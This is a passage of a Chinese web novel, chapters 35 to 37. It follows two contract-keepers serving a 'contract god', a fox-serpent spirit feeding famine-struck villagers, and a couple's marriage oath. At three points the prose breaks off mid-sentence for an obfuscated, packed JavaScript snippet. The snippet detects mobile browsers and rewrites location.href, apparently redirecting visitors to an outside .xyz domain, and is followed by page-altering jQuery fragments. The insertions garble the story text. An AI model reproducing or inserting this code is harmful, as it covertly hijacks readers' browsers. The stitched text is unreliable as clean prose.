“你怎得一个人坐在山顶?” 江远倾深吸一口气,山风中的寒意沁进心脾:“在想事情。” “想什么?”周厉踢开地上的石头坐在一旁。 “很多人,很多事。有解不开的谜团,想不通的道理,还有无法忘怀的人……” 周厉悄悄瞥了他一眼,他的眉中沾染了细小的露珠,沉重的眼皮压在平静如水的眼眸上。 “说罢,你找我什么事?” “没什么要紧的事,这些日子要处理的契约不多,这几天檐铃也一直没有动静,我想着出去走走,便来和你说一声。” “好。”江远倾应道。 “若是檐铃响了,你可知道怎么找我么?” “我不像你,连寻人的法术都记不住,还要漫山遍野地找我。” “那法术的咒语既长又难念,也就你能记住了。”周厉抱怨道。 “契约神为什么会答应让你管理契约?”江远倾的语气似在自言自语。 “你这话是什么意思?”周厉有些不满,“别忘了在孙怀野的军营里,是谁替你挡了董诚!” “我不是这个意思,我的意思是这一路走来有些事情太过凑巧。契约神为什么会选择我们为他管理契约?吴青手里方仙儿的罪状,还有孙怀野的证词,这一切都让我爹爹的死因渐渐有了眉目。” “要是孙怀野还活着,说不定能为你的家人洗清冤屈,只可惜他被鬼人杀死了。”周厉叹息道。 “没用的。”江远倾摇了摇头,“圣上怎会听信一个叛贼的说辞。” “难道要让江老爷子和那些镖局里的兄弟就这么平白无故地死了么?” “或许终有一天会水落石出,只是不知那一天要何时才能到来。” 这时朝阳破云而出,熠熠金光洒满大地,山下的云雾彻底消散,露出繁茂苍翠、层层叠叠的密林。 阳光照在江远倾的脸上,眉宇间的露水随风而散。 “你不是说要出去走走么?正好我也想静一静。” “那……我便不扰你清净了。”周厉识趣地站起身,朝山下走去。 买了几个烧饼后,周厉施法来到风灵城外的湖边。 此时灼烈的太阳在湖面上镀了一层璀璨的金辉,微风拂过,波光粼粼。 他坐在湖边吃了一半烧饼,脚下的树荫也换了位置,湖面上却无任何动静。 “去哪儿了?”周厉从怀中取出一本书,里面写满了各种法术咒语,“幸好我早有准备。” 他照着书里写的,手指来回翻转做着施法的手势,嘴里磕磕巴巴地念着咒语。 “老天保佑,这时候可千万不要在水里。” 说完周厉的手中金光乍现,脑里一阵混沌,待稳住心神睁开眼睛,他发现自己正身处一个荒凉破败,野草杂生的村庄之中。 往村庄里走去,周厉未看到一个人影,各家各户门前只晒着些破旧的衣裳。此时已是正午,烟囱里却都没有炊烟升起。 越往里走,周厉渐渐嗅到空气中飘着一股带着腥味的烹煮香气,心中顿时升起一丝莫名的不安。 他焦急地在村子里唤着荷玉人的名字,却无人应答。 “一定是我的咒语念错了……” 周厉拿出怀里的书,一字一顿地念着上面的咒语,可无论念了多少遍,他仍在原地。 难道她遭遇不测了么…… 这个想法一在脑海里浮起,周厉便觉得心跳如雷鸣,耳朵里嗡嗡作响,十分刺耳。 他慌慌张张地朝前走着,来到一处空地,这回他终于见到了村子里的人。 一群衣衫褴褛的男女老少蹲坐在地上,手里捧着残缺的碗,碗里不知装了什么,散发着一阵腥气。 人群的中间架着一口铁锅,锅里白色的汤水正翻滚沸腾。一旁的地上到处是血渍,还残留着许多带血的鳞片…… “你们……做了什么!?”周厉忽然怒从心起,他颤抖着身子走到锅边,却不忍直视。 捧碗喝汤的村民们纷纷抬起头,朝他投来奇怪的眼神。 “不许吃!你们都不许吃!”周厉忽然如同发狂的野兽,朝那些村民声嘶力竭。 他猛地一转身,试图将一个村民手中的碗打碎,却不想迎面撞来一个人。 那人手里捧的碗被周厉撞翻在地,发出碎裂的声音,白色的汤汁洒了一地。 周厉定睛望去,是一位头戴帷帽的女子,帽檐的白纱将她的脸遮得严严实实。 女子蹲在地上,不时发出叹惜的声音。 “好好的汤就这么没了……” 这声音有些耳熟,周厉瞬间从愤怒中清醒。他打量着那女子的身形,与荷玉人的人形有些相似。 “荷玉人……”周厉试探地唤道,他的声音有些颤抖,“是你么?” 那女子怔了怔,随即猛然抬头将面纱掀开一角。 “周厉!怎么是你!?” 面纱之下是一张素丽清秀的脸,她的眼中满是欣喜,闪着亮光,犹如夜中皓月。 周厉立即将她扶起,双手紧紧地抓住她的胳膊:“真的是你……我还以为……” “你怎么在这儿?”荷玉人忙问道。 “我还要问你呢,你为什么在这里?”周厉忍不住怪责道。 荷玉人瞧了眼周围的村民,低声道:“这里不是说话的地方,我们走远些。” 周厉被荷玉人拉到一棵树下,见四下已无人,荷玉人才如释重负地将面纱掀开,她的头上露出一对狐耳。 “你方才怎么跟着了魔似的大呼小叫的?”荷玉人首先问道。 “我来寻你,没见你的踪影,还以为那些人伤害了你……”周厉的眼角有些发红。 “你也曾见过我的原形,凡人遇上我逃都来不及,还会想伤我么?” “那锅里煮的什么?” “鱼啊,不然你以为是什么?”荷玉人看周厉反常的神色,忽然意识到了什么,“难道你以为那锅里是我么?” 荷玉人指着自己,露出一副不谙世事的表情,令周厉又气又急。 “你向来待在水里,不知道人心险恶,凡人饿极了什么都吃。更何况……你身上的鳞片在凡间是稀罕物,若是被人抓去了可怎么好!?” “你怎么会以为那锅里是我呢?我的鳞片是绿色的,你忘了么?” 周厉低下头:“是我一时着急,没有想到……可是你怎么到了陆地?还与凡人接触?” “我本来是在水里待着的。”荷玉人挑了块石头坐下,“可是有一天我正在修炼的时候,发现湖里漂着几具凡人的躯体。” 周厉听闻也坐在石头上,专注地望着她。 “是几个男子,我原想救他们,可是他们在水里太久,早就没了气息。” “我把他们拖到岸上,想着也许会有人来寻他们,于是便等来了这里的村民。他们的家人在岸边痛哭了许久,从他们的只言片语中我才知晓,这个村庄正在遭受饥荒。” 荷玉人低垂眼角,语气中流露出一丝忧伤:“那几位男子为了让自己的家人填饱肚子,到湖上捕鱼。可惜他们太饿了,根本没有力气,还有人甚至不谙水性。最终船翻了,人也没了……” 周厉听闻,面色逐渐凝重:“所以那些鱼是你捉的么?” “嗯。”荷玉人点点头,“我本就食鱼,捕鱼于我而言不是难事。可在我看来如此轻巧的事,他们却要冒着付出生命的风险。所以我假装渔夫的女儿,时不时地为他们送鱼。” “只是送鱼,你为何还要在此处逗留?” “一开始他们饿得奄奄一息,连杀鱼的力气也没有,所以我只得帮他们处理了鱼,并照着凡人做菜的手法做了鱼羹。我送了几回鱼,一来二去的,便与他们相熟起来。” “即便如此你也不能掉以轻心,再说,你不能离开水源太久。”说着周厉拉住荷玉人的手,“走,我送你回水里。” 荷玉人拽住周厉的手臂:“你放心罢,我早已适应这副凡人躯体,一时半会不会难受的。” “倒是你……”荷玉人盯着周厉的脸庞,不知在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761553|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量什么,“这里偏僻得很,你怎么找到我的?” “我……”周厉不自然地松开荷玉人的手,“这事说来话长,你修炼多年,可曾听过一个叫契约神的神仙?” “契约神?我的确听说过,他可是神兽,曾因凡人与天界的战神有过一场殊死搏斗。我从未见过有谁能让天庭派出那么多兵将,还有战神,他可不是好惹的主。” “契约神还和战神交手过?”周厉讶异道。 “当然,虽然那场大战发生的时候我还未诞生,但这事在妖界没有谁不知晓的。” “那最后契约神赢了输了?”周厉一脸好奇。 “一开始契约神占了上风,可惜最后天界不知从哪里得来的法宝,竟将契约神镇压了下去。” “为何你要说‘可惜’二字?你不是想当神仙么?怎么替契约神说话?”周厉凑近她道。 荷玉人犹豫了片刻:“虽然我想当神仙,可那件事契约神并无过错。明明是凡人出尔反尔,违反契约,可天庭却一味地包庇凡人,还将他镇压在法宝下,囚禁了数百年。” “那法宝可是叫东皇钟?” “你怎么知道?” “原来如此。”周厉自顾自说道。 荷玉人见状气恼地叹了口气:“你怎么总是对我的问题避而不答?” 周厉忙应道:“你别生气,我和你说还不成么?我……我在替契约神办事。” “什么!?”荷玉人惊得站起身,“上次你我分别时你不是说要去报仇么?怎么如今……” 周厉将她按回原位,把如何跟踪江远倾以及和契约神签订契约的事一一说了。 “那……你接下来还打算报仇么?”荷玉人听完默默问道。 “目前我还没有弄清杀死曲玉的人究竟是谁,但只要我遵循契约,契约神就答应助我谋得一个神仙的职位,到那时我再想办法。” 荷玉人点了点头,未再言语,只出神地望着地上。 “怎么了?”周厉看出她失落的神色。 “没什么……”荷玉人抬起头,眼角泛着波光,“你一定要好好替契约神办事,成仙可没有那么容易,我光是修炼人形就花费了数百年。而你……出生便是凡人,如今还得契约神青睐,这可是天大的福分。” 荷玉人朝周厉勉强挤出一丝苦笑:“说真的,我有些羡慕你,这是多少人都得不到的机会。可是我也好奇,为什么契约神那么轻易地便答应了你?” “也许一切只是凑巧罢,我来找你就是要和你说成仙的事。”周厉取出怀里的法术书籍递给荷玉人,“这里面写了诸多法术咒语,其中有一条是用来寻人的,我就是用了寻人的法术才找到你,你看看于你修炼是否有益处。” 荷玉人瞧了眼那书的封面却未接过书本:“这书哪里来的?” “契约神让我们住在一座山中,这书是那山里拿来的。” 荷玉人摇了摇头:“你放回去,你能拿书是因为你和契约神签了契约,得了他的法术。可我并未签订契约,若平白无故地沾了你的光,你可就算是违反契约了。” “有这么严重么?”周厉看着手中的书本面露迟疑。 “契约神最痛恨的便是违反契约的人,他的眼里容不得一粒沙子。别忘了,当初他因为凡人违反契约可是闹上了天庭。” 听了这一番话,周厉顿时沮丧道:“原以为我能帮上你,没想到竟差点害了你。” “你有这份心就不枉我当初救你一命,若你以后修得正果,成了法力无边的大神仙,到那时我再沾你的光也不迟。” “那我们是不是可以一起做神仙?”周厉眼中露出期待的光芒。 “还可以长生不老,做生生世世的好朋友。”荷玉人眉飞色舞道。 两人聊了许久,太阳不知不觉已经偏西。阳光逐渐西斜,变得柔和起来。 “你回去罢,莫要误了你的事。”荷玉人欲与周厉道别。 “你明日还要为他们捕鱼么?” “当然,你若还要寻我,可以去风灵城外的湖边。” “好。”周厉依依不舍道。 与荷玉人说了些分别的话,周厉便施法回到了飞红山。 他满心欢喜地想着与荷玉人说的话,只一味爬着石梯,未注意到站在竹屋外的江远倾。 “周厉!”江远倾唤了好几声才引起周厉的注意。 周厉缓过神来:“怎么了?” “檐铃响了。”江远倾郑重其事道。 36.第 36 章 “但奇怪的是,我方才去天禄阁,并未见到异常的契约。”江远倾疑惑道。 周厉站在檐铃下仔细端详:“你确定檐铃响了么?” “当然。” “契约神说过,遇到什么要紧的事可以摇动檐铃。”周厉从地上捡起一根树枝,朝竹屋下的檐铃戳了几下,可檐铃纹丝不动。 “契约神的法器恐怕需得用上契约神的法力。”说罢江远倾手指一挥,一道金光冲檐铃而去,接着传来清脆的铃响。 二人静静瞧着周围的动静,忽然狂风大作,密集的花瓣中现出一头猛兽。 “何事?”契约神粗重的嗓音引得脚下的土壤一阵颤动。 “拜见契约神。”江远倾仍不忘礼数地拉着周厉上前行礼,“今日檐铃作响,可天禄阁并未出现异常的契约。” 契约神抖动胡须,平心静气地闭目深思,过了一会睁开眼道:“有凡人入庙烧香了,你们去替本神瞧瞧。若他二人需订立契约,你带着这份契书,依照天禄阁里的格式写好契约便是。” 说着一份空白的契书从天飘落,飞到江远倾的面前,江远倾将它小心卷好收进怀中。 “切记谨言慎行,莫忘了你们是代替本神行事。”契约神说出最后一句忠告,随即消失无踪。 “我们向来是管理契约,这次签订契约可是头一回。”周厉感到有些新鲜,忽而想起了什么,面露愁色道:“可是,我们怎么知道是谁要签订契约呢?” 江远倾抽出怀中的契书,在上面书写了“立契人”三字。 等待片刻后,“立契人”后面隐约浮现出几个字。 “柳白微,楚秋成。”江远倾念道。 周厉瞧了眼契书:“这回便能寻到人了。” 随后二人闭上双眼默念契书上的姓名,一同施法。可再次睁眼时,他们却身处一片无边无际的黑暗之中,只有微弱的光芒能照亮眼前。 “这是什么地方?”周厉环顾四周,一无所有,只有远处两道火光。 “去看看。”江远倾率先朝火光走去。 愈走近时,那火光便愈清晰,江远倾辨出是正在燃烧的香火。火光下是两张人脸,一男一女,他们各持香火,朝契约神的画像闭目沉思。 似乎听见江远倾的脚步声,那女子睁开眼睛,可还未朝江远倾的方向望去,便已被周遭的黑暗吓了一跳。 “楚郎,你快睁开眼睛。”女子推了推一旁的男子。 “这……”男子睁开眼睛,也是一脸惊恐。 “来者可是柳白微,楚秋成?”江远倾从黑暗中走来,周厉则扶着腰间的雁翎刀紧跟其后。 “你们是何人?”楚秋成立即戒备道。 “我们奉契约神之命来为二人签订契约。”江远倾站在两人面前,瞧了眼画上的契约神,“可是你二人要签订契约?” “你们……是神仙?”柳白微小心问道。 “替神仙办事。” “……失礼了。”柳白微欠了欠身,“原来墙上所刻的话是真的。” “今日我等以契约神之命在此做个见证,你二人可商议好了要签订契约么?”江远倾抽出怀中的契书,拿出笔墨。 “听说契约神是管理人间契约的神仙,不知婚约算不算?”柳白微道。 “婚约?”周厉脱口而出。 江远倾端量了二人:“契约离不开‘诺言’二字,只要你二人出于自愿,且愿意履行各自的诺言和承担违约后的惩罚,那么契约便已形成。婚约也是这个道理,只是你们确定要请契约神做见证么?” 楚秋成望了眼柳白微的神色,她的眼神十分坚定。 “确定,若由契约神做证婚人,那便再好不过了。” “柳姑娘,契约神可不是人间普通的证婚人,若你二人有人违约,可是要受惩罚的。”周厉提醒道。 “要受什么惩罚取决于你们。”江远倾补充道,“不过你们具体要订立什么契约呢?” 柳白微牵住楚秋成的手上前一步道:“生死契阔,与子成说。执子之手,与子偕老。我柳白微愿在余生对楚秋成不离不弃,与他相爱相守、白头偕老,此生只爱他一人。若违此约,便让我不得好死……” 楚秋成听到柳白微说的最后四个字,立即要捂住她的嘴,却不想柳白微眼疾手快,反抓住了他的手腕。 “楚郎,你莫要拦我。如今有契约神做见证,你便可知我的真心了。” “白微,你当真要如此么?”楚秋成眼中泛起微光。 柳白微浅笑着点点头。 “楚公子,轮到你了。”江远倾一边书写契约,一边提醒楚秋成道。 “我……楚秋成,余生愿与柳白微厮守终生,不离不弃,此生只爱她一人。若违此约,便让我不得好死。” 江远倾写好契书,递给柳白微和楚秋成:“你们将这份契书仔细查看,若确定立下契约,就将手掌按在文书上。” “按了掌印,可就再没有反悔的道理了。”周厉告诫道。 “我不后悔。” 柳白微伸出手掌朝契书按了下去,楚秋成也跟着按下掌印。 “楚郎,别人拜天地,不如我们拜一拜契约神,如何?” 楚秋成点头应道:“好。” 随后二人跪在蒲团上,朝契约神画像恭恭敬敬地拜了三拜,拜完画像又朝对方拜了一拜。 楚秋成将柳白微扶起,两人相视而笑。 一旁的周厉见状也露出了会心的笑容。 柳白微思索片刻,壮着胆子问道:“不知二位神仙如何称呼?” “……在下姓周。”周厉立即回道。 柳白微颔首:“周神仙。” 周厉听得她如此称呼自己,突然有些难以为颜。 柳白微转头望向江远倾,却见他正在愣神。 “……在下姓江……”江远倾反应过来道。 柳白微躬身行礼:“多谢江神仙为我二人执笔。” “分内之事。” 柳白微的目光在江远倾身上多驻足了几眼,随后朝楚秋成走去。 这时,江远倾将手一挥,柳楚二人便瞬间消失在黑暗之中。 “哎?还未与他二人道别呢?” “契约已经签成,我们该做的事到此为止。再说,你没瞧见他们正需要独处么?” “是么?”周厉不知所从道。 施法回到飞红山后,江远倾将签好的契书递给周厉:“你负责将契约送去天禄阁,好好保管。” “好。”周厉接过契约,朝天禄阁行去。 此时天色渐晚,虽已是夏末,可到了夜晚仍十分沉闷。天空亮起了星点,柔和的月光洒在竹屋前,覆上一层银色的清辉。 江远倾进入竹屋关上门,留了窗户让月光洒进房间。 他随意脱去外衣,径直躺在床上。 四处无风,静悄悄的,竹屋内只剩江远倾疲惫的叹息。 房间里的每一个陈设都逐渐被蒙上黑影,江远倾睁开眼眸,四周黑漆漆的。 时间似乎在此刻停滞,只剩月光在悄无声息地游动。江远倾的眼眸在月光下轻轻张合,两抹淡淡的银色光泽在黑夜里闪烁。 楚秋成和柳白微拜堂时的情景在江远倾的脑海里不断浮现,他们扶起对方时的小心翼翼,还有相视而笑时眼眸中抑制不住的欢喜,皆被江远倾看在眼里。 尤其是柳白微那双清澈似水、灵动晶莹的眼眸望向楚秋成时散发的坚定的光芒,令江远倾似曾相识。 曾经也有一个人这样望着他,她的眼眸中没有丝毫遮掩,江远倾只消望一眼便猜透她的心思。 她的眼睛像两颗精致的宝石,虽小巧,却不经意间流露无数情感。 快乐时的肆意,失望时的黯淡,嗔怪时的俏皮。 还有望向他时,比平常明亮数倍的,毫无保留的……爱意。 想到这里,江远倾的心中隐隐作疼。他努力平稳气息,侧着身子凝望窗外的明月。 可那明月如此皎洁,也像极了她的笑脸。 他再也忍不住,身子痛苦得蜷成一团,气息杂乱,眼眶被热流包裹。 她的每一个表情,每一个动作,都在江远倾的记忆中不断上演。 不知何时,窗外吹起了凉风。半开的窗户吱呀地响着,书案上的书本被一页一页地翻开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772960|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江远倾盯着那哗哗作响的书本,悲伤的眼眸忽然陷入沉思。 他立即施法点燃蜡烛,披上外衣坐在书案前,将书本一页一页地翻回,直至看到封面上的那两个字。 风吹云动,月影婆娑。月光时明时暗,荧烛亮了一夜…… 第二日清晨,周厉提着渔网和自制的鱼叉早早地便出门了。他下石阶时下意识地朝江远倾的竹屋瞧了两眼,可向来坐在竹屋前品茗读书的江远倾,此时却不见人影。 “江远倾,你在么?”周厉想起江远倾曾定下的规则,只远远地朝竹屋大声喊道。 过了一会,竹屋里传来江远倾中气十足的声音:“什么事?” “你在便好,我今日要出门一趟,若是檐铃响了你再寻我。” “知道了。” 周厉看着江远倾紧闭的房门,虽觉得有些古怪,可也说不上来有哪里不对劲。 他提着捕鱼的物什,施法来到风灵城外的湖边。 此时湖面静悄悄的,带着一丝清晨的寒气。周厉将渔网整理铺开,正要再去磨一磨鱼叉上的刀刃时,湖面上忽然传来水花激荡的声响。 周厉循声望去,一条绿色的蛇尾朝他游来。 “你来啦。”荷玉人以原形破水而出,“你带了这些是要捕鱼么?” “我……我不知道这些工具能不能帮上你,就都带过来了。” 荷玉人笑道:“这是你们凡人捕鱼时用上的,我本就生在水里,哪用得上这些?” “用不上么?……”周厉望着铺好的渔网挠挠头。 “你要和我一起捕鱼么?”荷玉人在水里摇了摇尾巴,湖面泛起层层水波,“正好让你瞧瞧我是怎么捕鱼的。” “可是我不会水性,以前还差点溺死在这片湖里,你忘了么?” “我当然不会忘,你还从我身上扯下了一个鳞片。”荷玉人凑近周厉,将一个物件放在他的手里,“当初你杀了那人,他掉进湖里,手里的鳞片被我寻到,这回你可要好好保管。” 周厉望着手中的鳞片,虽过去数年,但那鳞片却像是从未离开本体,和他初见时一样翠绿光滑。 “将它含在嘴里,你就能同我一样在水里随意穿梭。” “含在嘴里?”周厉捧着鳞片有些迟疑。 “当然,你可以试试看。”说着荷玉人钻进水里,在不远处的水面上露出狐头望着周厉,“不要害怕,有我在,你不会有事的。” 周厉犹豫片刻后,将鳞片含在了嘴里。他脱去外衣和鞋袜放在岸上,将面具揣进怀里,赤脚踩进了水中。 湖水冰凉舒爽,包裹着周厉的双脚。踩在湿泥上时,一阵酥软的触感立即从脚上袭来,像是有双大手轻轻地揉捏着他的脚掌。 湿泥软软的,周厉在水中有些站不稳。 “往深处走,不要害怕。”水面上传来荷玉人轻柔的声音。 周厉屏住呼吸,朝荷玉人走去。水越来越深,逐渐淹没周厉的胸膛。 就在他犹豫是否要继续往前走时,忽然有个柔软的东西在水下缠住他的脚,将他整个人拽入水中。 周厉在水里惊慌得张口要唤荷玉人,可突然发现自己竟能够在水下呼吸自如。 从前在水中令他恐惧的下坠感此时荡然无存,相反,周遭的水似乎在轻轻托举着他的身子。 周厉渐渐冷静下来,他透过微光发现,缠住自己脚踝的是荷玉人的尾巴。 荷玉人将他拉近自己的身边,朝湖水更深处游去。 一路上不时有小鱼从周厉的身旁游过,他伸出手试图捉鱼,可鱼还未触碰他的指尖便四散逃离。 他沮丧地望向荷玉人,只见她从嘴中吐出一阵气流,那气流形似长剑,移动极快,鱼儿还未反应过来便被那突如其来的气流击晕。 荷玉人接着朝周遭肥硕的大鱼不断吐出气流,不一会儿便有十几条鱼被击晕,露出肚皮浮出水面。 周厉见状破水而出,将被击晕的鱼一一拽向湖心小岛。 “这些鱼应该够了。”荷玉人露出水面趴在湖心岛岸边的大石头上,“怎么样?还害怕么?” 周厉轻轻摇了摇头:“不怕。” 37.第 37 章 周厉将鱼拖上岸后,又跳进水里游到风灵城外的湖边,拿了渔网游向湖心小岛。 这回他独自游在湖水中,因太阳渐近正午,湖水也变得温热。 晶莹柔软的流水贴近每一寸肌肤游过,周厉深感前所未有的舒适惬意。 在水下,阳光透过水面形成一道道光柱,随着水波荡漾,光柱扭曲成五彩斑斓的颜色,璀璨耀眼。光柱照亮了四周摇曳的水草,水草纤细柔软,不时有娇小可爱的鱼儿躲在其中。 周厉瞅准时机,朝水草丛猛地一冲,一时间无数条小鱼从他的身边东逃西窜。 以此这般玩了几番后,周厉才心满意足地游上岸。 他用渔网包住荷玉人捕获的鱼儿,随后打个结暂且拴在树枝上。 忙活完后,周厉忽然发现四下里没了荷玉人的踪影,便沿着水岸不断呼唤着荷玉人的名字。 “我在这儿!”荷玉人躺在岸边的大石头上回道。 周厉赤脚踩在碎石上,朝荷玉人的方向行去。 阳光下,荷玉人化作人形,轻盈飘逸的黑发从光滑的石头上垂坠而下,闪烁着耀眼的光泽。 她身着薄薄的长裙,因被湖水打湿,紧紧地贴在身上,透出内里白皙的肌肤。她的一对狐耳也被浸湿,垂在两侧,末端不时滴水在石头上。 周厉站在碎石上远远地望去,不由得有些出神。 “周厉,你愣在那里做什么?”荷玉人抬头望着他,朝他招了招手,“你的衣裳都湿透了,晒会太阳罢。” “哦……好。” 周厉继续朝前走着,走近时才发现荷玉人虽化作人形,却还留了蛇尾,只是探进水里,远远地看不出来。 他吐出嘴里的鳞片放进怀里,拣了个碎石堆躺下。 “你躺在那里不会不舒服么?上来罢,这块石头光滑些。”荷玉人朝周厉道。 周厉原不想挪动,可背下的石头实在太过尖锐。他站起身环顾四周,荷玉人确是眼光独到,她躺下的石头是这里最大最光滑的。 周厉低垂眼睛,贴着石头边和荷玉人一块躺下。 “荷玉人,你打算一直替他们捕鱼么?”周厉躺在石头上沐浴着温暖的阳光,耳边是轻柔的浪花拍在岸边的碎裂声,清脆悦耳。 “我也不知道,不过听那些村民说,他们打算离开那里,迁去别处了,要走很远的路。所以我想着多捕一些鱼,晒成鱼干,给他们当作路上的干粮。” 荷玉人晃动着尾巴放在石头上,轻轻地叹了口气:“湖里总是要留些小鱼的,不可无限制地捕下去,我只能做一些我力所能及的事情。” “荷玉人,你修炼那么多年,一心想成仙,是为了什么?” “因为……我想找到存在的意义。从我有意识起,我便一直处于孤身。湖里的鱼儿有家人,有朋友,可我什么都没有。我不知道我来自哪里,我的家人在何处,我要去干什么……凡人见了我只会想逃离,甚至妖见了我也觉得我是个怪胎。” “没有人见过和你相似的种族么?连妖也是?”周厉惊讶地问道。 荷玉人摇了摇头。 “这几百年除了修炼,我一直在寻找我的家人,可是到现在也没有头绪……所以我才想成仙,这样不但能拥有广大无边的法力,还能让他人见了我不再惧怕,只会向我祈求福泽。若是日后我的仙术能惠及世人,那我存在这世间也就有了意义。” “如果不是你,那些村民就要忍饥受饿,而我也早就沉入湖底,化作淤泥了,你的存在怎么会没有意义?” 荷玉人偏头瞥了周厉一眼:“举手之劳罢了,若是要做神仙却连助人的心都没有,那还如何配为神仙?” “我看你比我更适合做神仙。”周厉笑道。 “不要说这样的话,契约神既然选中你自然有他的道理。”荷玉人望着天空喃喃道,“你可莫要辜负了契约神,他法力无边,一言九鼎,你为他做事将来一定能成为神仙的。” 周厉盯着荷玉人的侧脸,她的眼眸亮晶晶的,胜似波光粼粼的湖水,眼神中充满了憧憬和向往。 “谢谢你,荷玉人。” “谢我什么?” “……谢谢你在我最无助的时候救了我,还帮助我克服了对水的恐惧。” “那你打算如何谢我?”荷玉人撑起上身,低头望着周厉。 她的头发垂在周厉的颈边,嘴角浮起笑意。 “我……”周厉有些结巴,“我以后要是……做了神仙,一定不会忘了你。” “忘了谁?”荷玉人故意问道。 “荷玉人。”周厉说完低下头,却不想正瞥见荷玉人的尾巴在石头上摇摆。 她的尾巴在阳光下闪着翠绿的光芒,线条蜿蜒优美,鳞片光滑亮丽。随着每一次摇摆,她的皮肉都微微颤动,显得柔软无比。 荷玉人得了想要的答案,便满意地躺回石头上。 周厉却呼吸急促,慌张地闭上眼睛。他努力不去想她垂坠的发丝,她的衣裳,还有她的尾巴…… 可越不去想,越有诸多画面在脑海跳跃。 似乎在从前时,他便一直记着她的尾巴,尤其是它在水中摇摆的身姿。碧绿的湖水被她游刃有余地拨来推去,优美柔软的线条早就刻进了他的心里。 每次它出现时,便激起他心中莫名的欲望,是一种想要触碰的欲望。 可明明他触碰过,她也常常主动触碰他。 那种触感软软的,有些冰凉。轻轻揉捏便能感知她的心跳,她的呼吸…… 周厉忽然感觉胸口有些沉闷,这才发现自己一直屏息忘了吸气。 他开始回想,自己是从什么时候开始对她的尾巴念念不忘。在搜寻过无数画面后,他终于找到了答案——是他即将溺死时,她缠绕在自己腰上开始,他便再也忘不了。 “说起来,我也修炼了许久,比你多活了数百年,还是你的恩人。按照凡间的习俗,你可不能再一口一个‘荷玉人’的直呼我的名讳……” 荷玉人在一旁自言自语道,见周厉许久不说话,便好奇地望向他。 “周厉,你的脸怎么这么红?是哪里不舒服么?”荷玉人一边说着,一边伸手去摸他的脸。 周厉涨红了脸,一碰到荷玉人冰凉的手便瞬间睁开眼睛。 “我没事!”周厉惊得坐起身。 “难道是那枚鳞片失了效用么?”荷玉人疑惑道,“我重新扯一枚鳞片给你。” “不要!” 周厉焦急地起身,欲拦住荷玉人扯鳞片的手,却不想脚底一滑,整个人朝碎石堆跌去。 “荷玉人!”周厉脱口而出呼救道。 刹那间,荷玉人伸出尾巴紧紧地缠在周厉的腰间,将他用力地拽了回来。 也许是事出突然,荷玉人的力气使得大了些。周厉虽被拽回石头上,却又因为惯性,一头扑倒在荷玉人的尾巴上。 周厉吃痛地抬起头,突然意识到自己的双手正紧紧地抱着荷玉人的尾巴。 那熟悉的柔软的触感,令周厉心中一震,他鬼使神差地,未加思索地,将它轻轻地摁揉抚摸…… 似乎感受到异常的触碰,它忽地一紧,逐渐剧烈的心跳传到他的手掌。 周厉意识到那猛烈的跳动,脑中豁然清醒。他缓缓抬头,映入眼帘的是一张布满红晕的脸,和一双略带惊恐的眼眸。 “你……你在做什么?”荷玉人立即抽回尾巴,藏进了水里。 “……我错了……我做错了……”周厉一脸震惊地反复道。 “那你说,你错在哪儿了?”荷玉人低下头语气责怪道。 “错……错在……”周厉努力理清思绪,余光不时朝水里瞥去,“我不该……” 看他结结巴巴的样子,荷玉人想起若是他将那话明明白白地说出来,倒有些奇怪。 “别说了。”荷玉人略气恼地扭过头去。 “我错了,都是我的错……”周厉追上她的脸,双眼闪烁着焦急和不安,“你生气了么?你别生气,你想怎么惩罚我都行,就是……别不理我……” 荷玉人望着他那充满期待,紧盯着自己的眼神,回想起方才尾巴上那双温热轻柔的大手,脑中忽地一热,颊边又飞起几朵红云。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777687|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的,怎么惩罚你都行?” 周厉顺从地点了点头。 “那送鱼的任务就交给你了。” “送鱼?” “怎么?不愿意么?” “愿意愿意,我去送鱼。”周厉从石头上滑下去,脚踩碎石一路小跑到树旁,将渔网解开提起。 “那……我去了?”周厉戴上怀中的面具,呆站在原地。 “还要我送你么?” “不必不必。”周厉立即施法离开了湖心岛。 荷玉人叹了口气,她坐在石头上,将尾巴盘起抱在自己的怀中。 她静静地回想着方才发生的一切,试图找出自己生气的真正原因。 明明以前与他触碰过多次,可是今日他只是轻轻地抚摸,为何自己有这么大的反应? 荷玉人自问她对周厉并不反感,周厉也绝对不会伤害自己,并且他的碰触是轻柔的,甚至……带着一丝对她的讨好。可为何周厉第一反应便是向自己道歉,而自己也不明所以地心跳加速? 她有些不明白了,不明白周厉的心思,连自己的想法也猜不透了。 猜不透的不止这一回,还有先前周厉在她面前流泪时,她忍不住吻住悬在他脸庞边缘的泪珠。难道那时真的如自己随口说的,只是让他好受些么? 或许周厉今日的心情同自己那个吻时的心情有些相似之处…… 